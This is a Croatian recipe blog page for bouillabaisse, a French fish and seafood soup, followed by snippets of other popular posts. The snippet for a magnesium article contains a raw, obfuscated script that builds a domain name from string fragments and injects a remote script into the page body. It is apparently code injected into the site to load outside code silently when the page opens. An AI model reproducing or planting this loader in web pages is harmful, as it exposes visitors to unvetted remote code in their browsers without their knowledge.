BOUILLABAISSE - FRANCUSKA RIBLJA JUHA S PLODOVIMA MORA





Bouillabaisse - francuska riblja juha s plodovima mora 



Bouillabaisse je tradicionalna francuska riblja juha koja spaja različite vrste ribe i plodove mora u bogatom, začinjenom temeljcu. Njena priprema zahtijeva pažnju, ali rezultat je izvanredan spoj okusa Mediterana. Poslužite je s prepečenim kruhom za autentični doživljaj.




Bouillabaise 


Sastojci:

  • 600–800 g miješane ribe (bijela riba poput oslića, brancina)
  • 200 g plodova mora (škampi, dagnje – po želji)
  • 1 veći luk
  • 2 režnja češnjaka
  • 2 rajčice (ili konzerva)
  • 1 komorač (po želji)
  • 1 krumpir
  • 700 ml ribljeg temeljca (ili voda + kocka)
  • 100 ml bijelog vina
  • maslinovo ulje
  • lovorov list i timijan
  • prstohvat šafrana ili kurkume
  • sol, papar, peršin



Priprema:

Na maslinovom ulju pirjati nasjeckani luk, češnjak i komorač dok ne omekšaju. Dodati rajčicu i kratko kuhati, zatim podliti bijelim vinom i pustiti da alkohol ispari. Uliti riblji temeljac, dodati krumpir narezan na kockice, lovor, timijan i šafran te kuhati dok krumpir ne omekša.

U juhu zatim dodati komade ribe i plodove mora te kuhati još 10-15 minuta, dok se riba ne skuha, ali ostane čvrsta. Na kraju začiniti solju, paprom i posuti svježim peršinom. Tradicionalno se poslužuje uz prepečeni kruh i umak rouille (češnjak + majoneza + začini).




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

BRZI KINDER BUENO KOLAČ BEZ PEČENJA

Slika
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Brzi kinder bueno kolač bez pečenja  Bez obzira na to držite li se određenog tipa prehrane ili režima vježbanja, s vremena na vrijeme u redu je počastiti se omiljenom slasticom, a ovaj Kinder Bueno kolač ima sve što će utažiti želju za slatkim. Slasna krema, hrskavi keks i čokoladna glazura odmah su nas uvjerili da ga moramo isprobati. Brzi kinder bueno kolač bez pečenja  Sastojci: 300g plazma keksa + 100 ml mlijeka 350 ml slatkog vrhnja 200 g sirnog namaza 100 g šećera u prahu 3 pune žlice bijele Lino Lade 5 Kinder Bueno čokoladica 100 g Kinder čokoladica + 50 ml slatkog vrhnja Priprema: Za pripremu ovog kolača koristite kalup ili posudu dimenzija 27×18 cm. Sirni namaz i šećer pomiješajte pa mikserom umutite slatko vrhnje. U dobiveni šlag dodajte mješavinu sira i šećera te bijelu Lino La...
Pročitajte više